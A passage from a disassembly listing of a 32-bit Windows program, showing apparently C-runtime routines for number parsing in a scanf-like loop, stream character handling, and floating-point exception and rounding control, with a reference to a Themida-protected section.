loc_420C31: ; CODE XREF: sub_420510+719j
cmp ebx, 2Bh
jnz short loc_420C58
loc_420C36: ; CODE XREF: sub_420510+71Fj
dec [ebp+var_C]
jnz short loc_420C47
cmp [ebp+var_20], 0
jz short loc_420C47
mov [ebp+var_F], 1
jmp short loc_420C58
; ---------------------------------------------------------------------------
loc_420C47: ; CODE XREF: sub_420510+729j
; sub_420510+72Fj
push [ebp+arg_0]
inc [ebp+var_4]
call sub_420F6C
pop ecx
mov ebx, eax
loc_420C55: ; CODE XREF: sub_420510+543j
mov [ebp+var_14], ebx
loc_420C58: ; CODE XREF: sub_420510+4FDj
; sub_420510+52Dj ...
cmp [ebp+var_30], 0
jz loc_420D71
cmp [ebp+var_F], 0
jnz loc_420D4F
loc_420C6C: ; CODE XREF: sub_420510+82Cj
cmp esi, 78h
jnz short loc_420CC0
cmp dword_43C504, 1
jle short loc_420C89
push 80h
push ebx
call sub_41F515
pop ecx
pop ecx
jmp short loc_420C96
; ---------------------------------------------------------------------------
loc_420C89: ; CODE XREF: sub_420510+768j
mov eax, off_43C2F8
mov al, [eax+ebx*2]
and eax, 80h
loc_420C96: ; CODE XREF: sub_420510+777j
test eax, eax
jz loc_420D41
mov eax, [ebp+var_28]
mov edx, [ebp+var_24]
push 4
pop ecx
call sub_423F90
push ebx
mov [ebp+var_28], eax
mov [ebp+var_24], edx
call sub_420F35
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp short loc_420D13
; ---------------------------------------------------------------------------
loc_420CC0: ; CODE XREF: sub_420510+75Fj
cmp dword_43C504, 1
jle short loc_420CD5
push 4
push ebx
call sub_41F515
pop ecx
pop ecx
jmp short loc_420CE0
; ---------------------------------------------------------------------------
loc_420CD5: ; CODE XREF: sub_420510+7B7j
mov eax, off_43C2F8
mov al, [eax+ebx*2]
and eax, 4
loc_420CE0: ; CODE XREF: sub_420510+7C3j
test eax, eax
jz short loc_420D41
cmp esi, 6Fh
jnz short loc_420CFE
cmp ebx, 38h
jge short loc_420D41
mov eax, [ebp+var_28]
mov edx, [ebp+var_24]
push 3
pop ecx
call sub_423F90
jmp short loc_420D0D
; ---------------------------------------------------------------------------
loc_420CFE: ; CODE XREF: sub_420510+7D7j
push 0
push 0Ah
push [ebp+var_24]
push [ebp+var_28]
call sub_41D280
loc_420D0D: ; CODE XREF: sub_420510+7ECj
mov [ebp+var_28], eax
mov [ebp+var_24], edx
loc_420D13: ; CODE XREF: sub_420510+7AEj
inc [ebp+var_1C]
lea eax, [ebx-30h]
cdq
add [ebp+var_28], eax
adc [ebp+var_24], edx
cmp [ebp+var_20], 0
jz short loc_420D2B
dec [ebp+var_C]
jz short loc_420D4F
loc_420D2B: ; CODE XREF: sub_420510+814j
push [ebp+arg_0]
inc [ebp+var_4]
call sub_420F6C
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp loc_420C6C
; ---------------------------------------------------------------------------
loc_420D41: ; CODE XREF: sub_420510+788j
; sub_420510+7D2j ...
push [ebp+arg_0]
dec [ebp+var_4]
push ebx
call sub_420F86
pop ecx
pop ecx
loc_420D4F: ; CODE XREF: sub_420510+756j
; sub_420510+819j
cmp [ebp+var_17], 0
jz loc_420E35
mov eax, [ebp+var_28]
mov ecx, [ebp+var_24]
neg eax
adc ecx, 0
mov [ebp+var_28], eax
neg ecx
mov [ebp+var_24], ecx
jmp loc_420E35
; ---------------------------------------------------------------------------
loc_420D71: ; CODE XREF: sub_420510+74Cj
cmp [ebp+var_F], 0
jnz loc_420E2D
loc_420D7B: ; CODE XREF: sub_420510+90Aj
cmp esi, 78h
jz short loc_420DBF
cmp esi, 70h
jz short loc_420DBF
cmp dword_43C504, 1
jle short loc_420D9A
push 4
push ebx
call sub_41F515
pop ecx
pop ecx
jmp short loc_420DA5
; ---------------------------------------------------------------------------
loc_420D9A: ; CODE XREF: sub_420510+87Cj
mov eax, off_43C2F8
mov al, [eax+ebx*2]
and eax, 4
loc_420DA5: ; CODE XREF: sub_420510+888j
test eax, eax
jz short loc_420E1F
cmp esi, 6Fh
jnz short loc_420DB8
cmp ebx, 38h
jge short loc_420E1F
shl edi, 3
jmp short loc_420DF7
; ---------------------------------------------------------------------------
loc_420DB8: ; CODE XREF: sub_420510+89Cj
lea edi, [edi+edi*4]
shl edi, 1
jmp short loc_420DF7
; ---------------------------------------------------------------------------
loc_420DBF: ; CODE XREF: sub_420510+86Ej
; sub_420510+873j
cmp dword_43C504, 1
jle short loc_420DD7
push 80h
push ebx
call sub_41F515
pop ecx
pop ecx
jmp short loc_420DE4
; ---------------------------------------------------------------------------
loc_420DD7: ; CODE XREF: sub_420510+8B6j
mov eax, off_43C2F8
mov al, [eax+ebx*2]
and eax, 80h
loc_420DE4: ; CODE XREF: sub_420510+8C5j
test eax, eax
jz short loc_420E1F
push ebx
shl edi, 4
call sub_420F35
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
loc_420DF7: ; CODE XREF: sub_420510+8A6j
; sub_420510+8ADj
inc [ebp+var_1C]
cmp [ebp+var_20], 0
lea edi, [edi+ebx-30h]
jz short loc_420E09
dec [ebp+var_C]
jz short loc_420E2D
loc_420E09: ; CODE XREF: sub_420510+8F2j
push [ebp+arg_0]
inc [ebp+var_4]
call sub_420F6C
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp loc_420D7B
; ---------------------------------------------------------------------------
loc_420E1F: ; CODE XREF: sub_420510+897j
; sub_420510+8A1j ...
push [ebp+arg_0]
dec [ebp+var_4]
push ebx
call sub_420F86
pop ecx
pop ecx
loc_420E2D: ; CODE XREF: sub_420510+865j
; sub_420510+8F7j
cmp [ebp+var_17], 0
jz short loc_420E35
neg edi
loc_420E35: ; CODE XREF: sub_420510+843j
; sub_420510+85Cj ...
cmp esi, 46h
jnz short loc_420E3E
and [ebp+var_1C], 0
loc_420E3E: ; CODE XREF: sub_420510+928j
cmp [ebp+var_1C], 0
jz loc_420F16
cmp [ebp+var_E], 0
jnz short loc_420E77
inc [ebp+var_34]
loc_420E51: ; CODE XREF: sub_420510+23Bj
cmp [ebp+var_30], 0
jz short loc_420E67
mov eax, [ebp+var_2C]
mov ecx, [ebp+var_28]
mov [eax], ecx
mov ecx, [ebp+var_24]
mov [eax+4], ecx
jmp short loc_420E77
; ---------------------------------------------------------------------------
loc_420E67: ; CODE XREF: sub_420510+945j
cmp [ebp+var_D], 0
mov eax, [ebp+var_2C]
jz short loc_420E74
mov [eax], edi
jmp short loc_420E77
; ---------------------------------------------------------------------------
loc_420E74: ; CODE XREF: sub_420510+95Ej
mov [eax], di
loc_420E77: ; CODE XREF: sub_420510+241j
; sub_420510+414j ...
inc [ebp+var_15]
inc [ebp+arg_4]
mov esi, [ebp+arg_4]
jmp short loc_420EC4
; ---------------------------------------------------------------------------
loc_420E82: ; CODE XREF: sub_420510+93j
inc [ebp+var_4]
push edi
call sub_420F6C
mov ebx, eax
pop ecx
movzx eax, byte ptr [esi]
inc esi
cmp eax, ebx
mov [ebp+var_14], ebx
mov [ebp+arg_4], esi
jnz short loc_420EF1
mov ecx, off_43C2F8
movzx eax, bl
test byte ptr [ecx+eax*2+1], 80h
jz short loc_420EC4
inc [ebp+var_4]
push edi
call sub_420F6C
pop ecx
movzx ecx, byte ptr [esi]
inc esi
cmp ecx, eax
mov [ebp+arg_4], esi
jnz short loc_420EFF
dec [ebp+var_4]
loc_420EC4: ; CODE XREF: sub_420510+970j
; sub_420510+99Aj
cmp [ebp+var_14], 0FFFFFFFFh
jnz short loc_420EDA
cmp byte ptr [esi], 25h
jnz short loc_420F1C
mov eax, [ebp+arg_4]
cmp byte ptr [eax+1], 6Eh
jnz short loc_420F1C
mov esi, eax
loc_420EDA: ; CODE XREF: sub_420510+9B8j
mov al, [esi]
test al, al
jnz loc_42053A
jmp short loc_420F16
; ---------------------------------------------------------------------------
loc_420EE6: ; CODE XREF: sub_420510+1F4j
; sub_420510+491j
push [ebp+arg_0]
dec [ebp+var_4]
push [ebp+var_14]
jmp short loc_420EF6
; ---------------------------------------------------------------------------
loc_420EF1: ; CODE XREF: sub_420510+98Aj
dec [ebp+var_4]
push edi
push ebx
loc_420EF6: ; CODE XREF: sub_420510+9DFj
call sub_420F86
pop ecx
pop ecx
jmp short loc_420F16
; ---------------------------------------------------------------------------
loc_420EFF: ; CODE XREF: sub_420510+9AFj
dec [ebp+var_4]
push edi
push eax
call sub_420F86
dec [ebp+var_4]
push edi
push ebx
call sub_420F86
add esp, 10h
loc_420F16: ; CODE XREF: sub_420510+1Fj
; sub_420510+40Aj ...
cmp [ebp+var_14], 0FFFFFFFFh
jnz short loc_420F2D
loc_420F1C: ; CODE XREF: sub_420510+9BDj
; sub_420510+9C6j
mov eax, [ebp+var_34]
test eax, eax
jnz short loc_420F30
cmp [ebp+var_15], al
jnz short loc_420F30
or eax, 0FFFFFFFFh
jmp short loc_420F30
; ---------------------------------------------------------------------------
loc_420F2D: ; CODE XREF: sub_420510+A0Aj
mov eax, [ebp+var_34]
loc_420F30: ; CODE XREF: sub_420510+A11j
; sub_420510+A16j ...
pop edi
pop esi
pop ebx
leave
retn
sub_420510 endp
; =============== S U B R O U T I N E =======================================
sub_420F35 proc near ; CODE XREF: sub_420510+7A3p
; sub_420510+8DCp
arg_0 = dword ptr 4
cmp dword_43C504, 1
push esi
jle short loc_420F4F
mov esi, [esp+4+arg_0]
push 4
push esi
call sub_41F515
pop ecx
pop ecx
jmp short loc_420F5E
; ---------------------------------------------------------------------------
loc_420F4F: ; CODE XREF: sub_420F35+8j
mov esi, [esp+4+arg_0]
mov eax, off_43C2F8
mov al, [eax+esi*2]
and eax, 4
loc_420F5E: ; CODE XREF: sub_420F35+18j
test eax, eax
jnz short loc_420F68
and esi, 0FFFFFFDFh
sub esi, 7
loc_420F68: ; CODE XREF: sub_420F35+2Bj
; DATA XREF: Themida_:0054D01Eo
mov eax, esi
pop esi
retn
sub_420F35 endp
; =============== S U B R O U T I N E =======================================
sub_420F6C proc near ; CODE XREF: sub_420510+1E1p
; sub_420510+289p ...
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
dec dword ptr [edx+4]
js short loc_420F7E
mov ecx, [edx]
movzx eax, byte ptr [ecx]
inc ecx
mov [edx], ecx
retn
; ---------------------------------------------------------------------------
loc_420F7E: ; CODE XREF: sub_420F6C+7j
push edx
call sub_41F043
pop ecx
retn
sub_420F6C endp
; =============== S U B R O U T I N E =======================================
sub_420F86 proc near ; CODE XREF: sub_420510+6Bp
; sub_420510+3FFp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp [esp+arg_0], 0FFFFFFFFh
jz short locret_420F9C
push [esp+arg_4]
push [esp+4+arg_0]
call sub_423FAF
pop ecx
pop ecx
locret_420F9C: ; CODE XREF: sub_420F86+5j
retn
sub_420F86 endp
; =============== S U B R O U T I N E =======================================
sub_420F9D proc near ; CODE XREF: sub_420510+63p
; sub_420510+1D3p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
push edi
loc_420FA3: ; CODE XREF: sub_420F9D+1Dj
push [esp+8+arg_4]
inc dword ptr [esi]
call sub_420F6C
mov edi, eax
push edi
call sub_41D670
pop ecx
test eax, eax
pop ecx
jnz short loc_420FA3
mov eax, edi
pop edi
pop esi
retn
sub_420F9D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __fastcall sub_420FC1(int,int,double,int)
sub_420FC1 proc near ; CODE XREF: sub_41C679+51p
; sub_41C7BF+51p
var_1C = qword ptr -1Ch
var_14 = qword ptr -14h
var_C = qword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_C = dword ptr 14h
push ebp
mov ebp, esp
cmp dword_43CC70, 0
jnz short loc_420FF6
push [ebp+arg_C] ; int
fld qword ptr [ebp+arg_4]
push ecx
push ecx ; double
fstp [esp+0Ch+var_C]
push ecx ; int
push ecx ; int
fldz
fstp [esp+14h+var_14]
fld qword ptr [ebp+arg_4]
push ecx ; int
push ecx ; int
fstp [esp+1Ch+var_1C]
push [ebp+arg_0] ; int
push 1 ; int
call sub_421576
add esp, 24h
pop ebp
retn
; ---------------------------------------------------------------------------
loc_420FF6: ; CODE XREF: sub_420FC1+Aj
push 0FFFFh
mov dword_4DB278, 21h
push [ebp+arg_C]
call sub_4217E9
fld qword ptr [ebp+arg_4]
pop ecx
pop ecx
pop ebp
retn
sub_420FC1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_421014(int,int,double,double,int)
sub_421014 proc near ; CODE XREF: sub_41C679:loc_41C73Cp
; sub_41C7BF:loc_41C882p
var_74 = qword ptr -74h
var_6C = qword ptr -6Ch
var_64 = qword ptr -64h
var_5C = dword ptr -5Ch
var_58 = byte ptr -58h
var_20 = dword ptr -20h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = qword ptr 10h
arg_10 = qword ptr 18h
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 58h
push [ebp+arg_18]
lea eax, [ebp+arg_10]
push eax
push [ebp+arg_0]
call sub_42135F
add esp, 0Ch
test eax, eax
jnz short loc_421052
lea eax, [ebp+arg_10]
and [ebp+var_20], 0FFFFFFFEh
push eax
lea eax, [ebp+arg_8]
push eax
lea eax, [ebp+arg_18]
push [ebp+arg_4]
push [ebp+arg_0]
push eax
lea eax, [ebp+var_58]
push eax
call sub_4210AC
add esp, 18h
loc_421052: ; CODE XREF: sub_421014+1Aj
push [ebp+arg_0]
call sub_421649
cmp dword_43CC70, 0
pop ecx
jnz short loc_421090
test eax, eax
jz short loc_421090
push [ebp+arg_18] ; int
fld [ebp+arg_10]
push ecx
push ecx ; double
fstp [esp+64h+var_64]
push ecx ; int
push ecx ; int
fldz
fstp [esp+6Ch+var_6C]
fld [ebp+arg_8]
push ecx ; int
push ecx ; int
fstp [esp+74h+var_74]
push [ebp+arg_4] ; int
push eax ; int
call sub_421576
add esp, 24h
leave
retn
; ---------------------------------------------------------------------------
loc_421090: ; CODE XREF: sub_421014+4Ej
; sub_421014+52j
push eax
call sub_4215FE
mov [esp+5Ch+var_5C], 0FFFFh
push [ebp+arg_18]
call sub_4217E9
fld [ebp+arg_10]
pop ecx
pop ecx
leave
retn
sub_421014 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4210AC proc near ; CODE XREF: sub_421014+36p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
mov ecx, [ebp+arg_0]
xor eax, eax
push ebx
push esi
mov [ecx+4], eax
mov ecx, [ebp+arg_0]
push edi
push 1
mov [ecx+8], eax
mov ecx, [ebp+arg_0]
pop ebx
mov [ecx+0Ch], eax
mov cl, byte ptr [ebp+arg_8]
test cl, 10h
jz short loc_4210DE
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C000008Fh
or [eax+4], ebx
loc_4210DE: ; CODE XREF: sub_4210AC+23j
test cl, 2
jz short loc_4210F1
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C0000093h
or dword ptr [eax+4], 2
loc_4210F1: ; CODE XREF: sub_4210AC+35j
test cl, bl
jz short loc_421103
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C0000091h
or dword ptr [eax+4], 4
loc_421103: ; CODE XREF: sub_4210AC+47j
test cl, 4
jz short loc_421116
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C000008Eh
or dword ptr [eax+4], 8
loc_421116: ; CODE XREF: sub_4210AC+5Aj
test cl, 8
jz short loc_421129
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C0000090h
or dword ptr [eax+4], 10h
loc_421129: ; CODE XREF: sub_4210AC+6Dj
mov esi, [ebp+arg_4]
mov eax, [ebp+arg_0]
push 2
mov ecx, [esi]
mov edx, [eax+8]
not ecx
and ecx, ebx
and edx, 0FFFFFFEFh
shl ecx, 4
or ecx, edx
pop edi
mov [eax+8], ecx
mov ecx, [esi]
mov eax, [ebp+arg_0]
not ecx
mov edx, [eax+8]
and ecx, 4
shl ecx, 1
and edx, 0FFFFFFF7h
or ecx, edx
mov [eax+8], ecx
mov ecx, [esi]
mov eax, [ebp+arg_0]
not ecx
mov edx, [eax+8]
shr ecx, 1
and ecx, 4
and edx, 0FFFFFFFBh
or ecx, edx
mov [eax+8], ecx
mov ecx, [esi]
mov eax, [ebp+arg_0]
not ecx
mov edx, [eax+8]
shr ecx, 3
and ecx, edi
and edx, 0FFFFFFFDh
or ecx, edx
mov [eax+8], ecx
mov ecx, [esi]
mov eax, [ebp+arg_0]
not ecx
mov edx, [eax+8]
shr ecx, 5
and ecx, ebx
and edx, 0FFFFFFFEh
or ecx, edx
mov [eax+8], ecx
call sub_4217CC
test al, bl
jz short loc_4211B2
mov ecx, [ebp+arg_0]
or dword ptr [ecx+0Ch], 10h
loc_4211B2: ; CODE XREF: sub_4210AC+FDj
test al, 4
jz short loc_4211BD
mov ecx, [ebp+arg_0]
or dword ptr [ecx+0Ch], 8
loc_4211BD: ; CODE XREF: sub_4210AC+108j
test al, 8
jz short loc_4211C8
mov ecx, [ebp+arg_0]
or dword ptr [ecx+0Ch], 4
loc_4211C8: ; CODE XREF: sub_4210AC+113j
test al, 10h
jz short loc_4211D2
mov ecx, [ebp+arg_0]
or [ecx+0Ch], edi
loc_4211D2: ; CODE XREF: sub_4210AC+11Ej
test al, 20h
jz short loc_4211DC
mov eax, [ebp+arg_0]
or [eax+0Ch], ebx
loc_4211DC: ; CODE XREF: sub_4210AC+128j
mov eax, [esi]
mov ecx, 0C00h
and eax, ecx
jz short loc_42121B
cmp eax, 400h
jz short loc_42120D
cmp eax, 800h
jz short loc_421201
cmp eax, ecx
jnz short loc_421221
mov eax, [ebp+arg_0]
or dword ptr [eax], 3
jmp short loc_421221
; ---------------------------------------------------------------------------
loc_421201: ; CODE XREF: sub_4210AC+147j
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFFEh
or ecx, edi
jmp short loc_421217
; ---------------------------------------------------------------------------
loc_42120D: ; CODE XREF: sub_4210AC+140j
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFFDh
or ecx, ebx
loc_421217: ; CODE XREF: sub_4210AC+15Fj
mov [eax], ecx
jmp short loc_421221
; ---------------------------------------------------------------------------
loc_42121B: ; CODE XREF: sub_4210AC+139j
mov eax, [ebp+arg_0]
and dword ptr [eax], 0FFFFFFFCh
loc_421221: ; CODE XREF: sub_4210AC+14Bj
; sub_4210AC+153j ...
mov eax, [esi]
mov ecx, 300h
and eax, ecx
jz short loc_42124C
cmp eax, 200h
jz short loc_42123F
cmp eax, ecx
jnz short loc_421259
mov eax, [ebp+arg_0]
and dword ptr [eax], 0FFFFFFE3h
jmp short loc_421259
; ---------------------------------------------------------------------------
loc_42123F: ; CODE XREF: sub_4210AC+185j
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFE7h
or ecx, 4
jmp short loc_421257
; ---------------------------------------------------------------------------
loc_42124C: ; CODE XREF: sub_4210AC+17Ej
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFEBh
or ecx, 8
loc_421257: ; CODE XREF: sub_4210AC+19Ej
mov [eax], ecx
loc_421259: ; CODE XREF: sub_4210AC+189j
; sub_4210AC+191j
mov eax, [ebp+arg_0]
mov ecx, [ebp+arg_C]
and ecx, 0FFFh
mov edx, [eax]
shl ecx, 5
and edx, 0FFFE001Fh
or ecx, edx
mov [eax], ecx
mov eax, [ebp+arg_0]
or [eax+20h], ebx
mov eax, [ebp+arg_0]
mov ecx, [eax+20h]
and ecx, 0FFFFFFE3h
or ecx, edi
mov [eax+20h], ecx
mov eax, [ebp+arg_10]
fld qword ptr [eax]
mov eax, [ebp+arg_0]
fstp qword ptr [eax+10h]
mov eax, [ebp+arg_0]
or [eax+50h], ebx
mov eax, [ebp+arg_0]
mov ecx, [eax+50h]
and ecx, 0FFFFFFE3h
or ecx, edi
mov edi, [ebp+arg_14]
mov [eax+50h], ecx
mov eax, [ebp+arg_0]
fld qword ptr [edi]
fstp qword ptr [eax+40h]
call sub_4217DA
lea eax, [ebp+arg_0]
push eax
push ebx
push 0
push [ebp+arg_8]
nop
call near ptr 26403E9h
mov eax, [ebp+arg_0]
test byte ptr [eax+8], 10h
jz short loc_4212D3
and dword ptr [esi], 0FFFFFFFEh
loc_4212D3: ; CODE XREF: sub_4210AC+222j
test byte ptr [eax+8], 8
jz short loc_4212DC
and dword ptr [esi], 0FFFFFFFBh
loc_4212DC: ; CODE XREF: sub_4210AC+22Bj
test byte ptr [eax+8], 4
jz short loc_4212E5
and dword ptr [esi], 0FFFFFFF7h
loc_4212E5: ; CODE XREF: sub_4210AC+234j
test byte ptr [eax+8], 2
jz short loc_4212EE
and dword ptr [esi], 0FFFFFFEFh
loc_4212EE: ; CODE XREF: sub_4210AC+23Dj
test [eax+8], bl
jz short loc_4212F6
and dword ptr [esi], 0FFFFFFDFh
loc_4212F6: ; CODE XREF: sub_4210AC+245j
mov ecx, [eax]
mov edx, 0FFFFF3FFh
and ecx, 3
sub ecx, 0
jz short loc_42132A
dec ecx
jz short loc_42131E
dec ecx
jz short loc_421314
dec ecx
jnz short loc_42132C
or byte ptr [esi+1], 0Ch
jmp short loc_42132C
; ---------------------------------------------------------------------------
loc_421314: ; CODE XREF: sub_4210AC+25Dj
mov ecx, [esi]
and ch, 0FBh
or ch, 8
jmp short loc_421326
; ---------------------------------------------------------------------------
loc_42131E: ; CODE XREF: sub_4210AC+25Aj
mov ecx, [esi]
and ch, 0F7h
or ch, 4
loc_421326: ; CODE XREF: sub_4210AC+270j
mov [esi], ecx
jmp short loc_42132C
; ---------------------------------------------------------------------------
loc_42132A: ; CODE XREF: sub_4210AC+257j
and [esi], edx
loc_42132C: ; CODE XREF: sub_4210AC+260j
; sub_4210AC+266j ...
mov ecx, [eax]
shr ecx, 2
and ecx, 7
sub ecx, 0
jz short loc_42134C
dec ecx
jz short loc_421343
dec ecx
jnz short loc_421355
and [esi], edx
jmp short loc_421355
; ---------------------------------------------------------------------------
loc_421343: ; CODE XREF: sub_4210AC+28Ej
mov ecx, [esi]
and ecx, edx
or ch, 2
jmp short loc_421353
; ---------------------------------------------------------------------------
loc_42134C: ; CODE XREF: sub_4210AC+28Bj
mov ecx, [esi]
and ecx, edx
or ch, 3
loc_421353: ; CODE XREF: sub_4210AC+29Ej
mov [esi], ecx
loc_421355: ; CODE XREF: sub_4210AC+291j
; sub_4210AC+295j
fld qword ptr [eax+40h]
fstp qword ptr [edi]
pop edi
pop esi
pop ebx
pop ebp
retn
sub_4210AC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42135F proc near ; CODE XREF: sub_421014+10p
var_24 = qword ptr -24h
var_C = qword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_0]
push ebx
push edi
mov edi, eax
and edi, 1Fh
push 1
test al, 8
pop ebx
jz short loc_42138A
test byte ptr [ebp+arg_8], bl
jz short loc_42138A
push ebx
call sub_42180C
pop ecx
and edi, 0FFFFFFF7h
jmp loc_421554
; ---------------------------------------------------------------------------
loc_42138A: ; CODE XREF: sub_42135F+15j
; sub_42135F+1Aj
test al, 4
jz short loc_4213A4
test byte ptr [ebp+arg_8], 4
jz short loc_4213A4
push 4
call sub_42180C
pop ecx
and edi, 0FFFFFFFBh
jmp loc_421554
; ---------------------------------------------------------------------------
loc_4213A4: ; CODE XREF: sub_42135F+2Dj
; sub_42135F+33j
test al, bl
jz loc_42147E
test byte ptr [ebp+arg_8], 8
jz loc_42147E
push 8
call sub_42180C
pop ecx
mov eax, 0C00h
mov ecx, [ebp+arg_8]
and ecx, eax
jz loc_421456
cmp ecx, 400h
jz short loc_42142E
cmp ecx, 800h
jz short loc_421406
cmp ecx, eax
jnz loc_421476
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp dbl_427880
fld dbl_43C870
fnstsw ax
sahf
ja short loc_4213FE
fchs
loc_4213FE: ; CODE XREF: sub_42135F+9Bj
fstp [ebp+var_C]
fld [ebp+var_C]
jmp short loc_421474
; ---------------------------------------------------------------------------
loc_421406: ; CODE XREF: sub_42135F+7Dj
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp dbl_427880
fnstsw ax
sahf
jbe short loc_42141E
fld dbl_43C860
jmp short loc_421426
; ---------------------------------------------------------------------------
loc_42141E: ; CODE XREF: sub_42135F+B5j
fld dbl_43C870
fchs
loc_421426: ; CODE XREF: sub_42135F+BDj
fstp [ebp+var_C]
fld [ebp+var_C]
jmp short loc_421474
; ---------------------------------------------------------------------------
loc_42142E: ; CODE XREF: sub_42135F+75j
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp dbl_427880
fnstsw ax
sahf
jbe short loc_421446
fld dbl_43C870
jmp short loc_42144E
; ---------------------------------------------------------------------------
loc_421446: ; CODE XREF: sub_42135F+DDj
fld dbl_43C860
fchs
loc_42144E: ; CODE XREF: sub_42135F+E5j
fstp [ebp+var_C]
fld [ebp+var_C]
jmp short loc_421474
; ---------------------------------------------------------------------------
loc_421456: ; CODE XREF: sub_42135F+69j
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp dbl_427880
fld dbl_43C860
fnstsw ax
sahf
ja short loc_42146E
fchs
loc_42146E: ; CODE XREF: sub_42135F+10Bj
fstp [ebp+var_C]
fld [ebp+var_C]
loc_421474: ; CODE XREF: sub_42135F+A5j
; sub_42135F+CDj ...
fstp qword ptr [ecx]
loc_421476: ; CODE XREF: sub_42135F+81j
and edi, 0FFFFFFFEh
jmp loc_421554
; ---------------------------------------------------------------------------
loc_42147E: ; CODE XREF: sub_42135F+47j
; sub_42135F+51j
test al, 2
jz loc_421554
test byte ptr [ebp+arg_8], 10h
jz loc_421554
push esi
xor esi, esi
test al, 10h
jz short loc_421499
mov esi, ebx
loc_421499: ; CODE XREF: sub_42135F+136j
mov eax, [ebp+arg_4]
fld qword ptr [eax]
fstp [ebp+var_C]
fld [ebp+var_C]
fcomp dbl_427880
fnstsw ax
sahf
jz loc_421542
fld [ebp+var_C]
lea eax, [ebp+var_4]
push eax ; int
push ecx
push ecx ; double
fstp [esp+24h+var_24]
call sub_42170B
mov eax, [ebp+var_4]
add esp, 0Ch
fstp [ebp+var_C]
lea ecx, [eax-600h]
cmp ecx, 0FFFFFBCEh
jge short loc_4214E4
fldz
mov esi, ebx
fstp [ebp+var_C]
jmp short loc_421538
; ---------------------------------------------------------------------------
loc_4214E4: ; CODE XREF: sub_42135F+17Aj
fld [ebp+var_C]
fcomp dbl_427880
fnstsw ax
sahf
jnb short loc_4214F6
mov edx, ebx
jmp short loc_4214F8
; ---------------------------------------------------------------------------
loc_4214F6: ; CODE XREF: sub_42135F+191j
xor edx, edx
loc_4214F8: ; CODE XREF: sub_42135F+195j
mov al, byte ptr [ebp+var_C+6]
and eax, 0Fh
or al, 10h
mov word ptr [ebp+var_C+6], ax
mov eax, 0FFFFFC03h
cmp ecx, eax
jge short loc_42152C
sub eax, ecx
loc_42150F: ; CODE XREF: sub_42135F+1CBj
test byte ptr [ebp+var_C], bl
jz short loc_42151A
test esi, esi
jnz short loc_42151A
mov esi, ebx
loc_42151A: ; CODE XREF: sub_42135F+1B3j
; sub_42135F+1B7j
shr dword ptr [ebp+var_C], 1
test byte ptr [ebp+var_C+4], bl
jz short loc_421526
or byte ptr [ebp+var_C+3], 80h
loc_421526: ; CODE XREF: sub_42135F+1C1j
shr dword ptr [ebp+var_C+4], 1
dec eax
jnz short loc_42150F
loc_42152C: ; CODE XREF: sub_42135F+1ACj
test edx, edx
jz short loc_421538
fld [ebp+var_C]
fchs
fstp [ebp+var_C]
loc_421538: ; CODE XREF: sub_42135F+183j
; sub_42135F+1CFj
fld [ebp+var_C]
mov eax, [ebp+arg_4]
fstp qword ptr [eax]
jmp short loc_421544
; ---------------------------------------------------------------------------
loc_421542: ; CODE XREF: sub_42135F+14Ej
mov esi, ebx
loc_421544: ; CODE XREF: sub_42135F+1E1j
test esi, esi
pop esi
jz short loc_421551
push 10h
call sub_42180C
pop ecx
loc_421551: ; CODE XREF: sub_42135F+1E8j
and edi, 0FFFFFFFDh
loc_421554: ; CODE XREF: sub_42135F+26j
; sub_42135F+40j ...
test byte ptr [ebp+arg_0], 10h
jz short loc_42156B
test byte ptr [ebp+arg_8], 20h
jz short loc_42156B
push 20h
call sub_42180C
pop ecx
and edi, 0FFFFFFEFh
loc_42156B: ; CODE XREF: sub_42135F+1F9j
; sub_42135F+1FFj
xor eax, eax
test edi, edi
pop edi
pop ebx
setz al
leave
retn
sub_42135F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_421576(int,int,int,int,int,int,double,int)
sub_421576 proc near ; CODE XREF: sub_420FC1+2Bp
; sub_421014+72p
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = qword ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = qword ptr 20h
arg_20 = dword ptr 28h
push ebp
mov ebp, esp
sub esp, 20h
push [ebp+arg_4]
call sub_421624
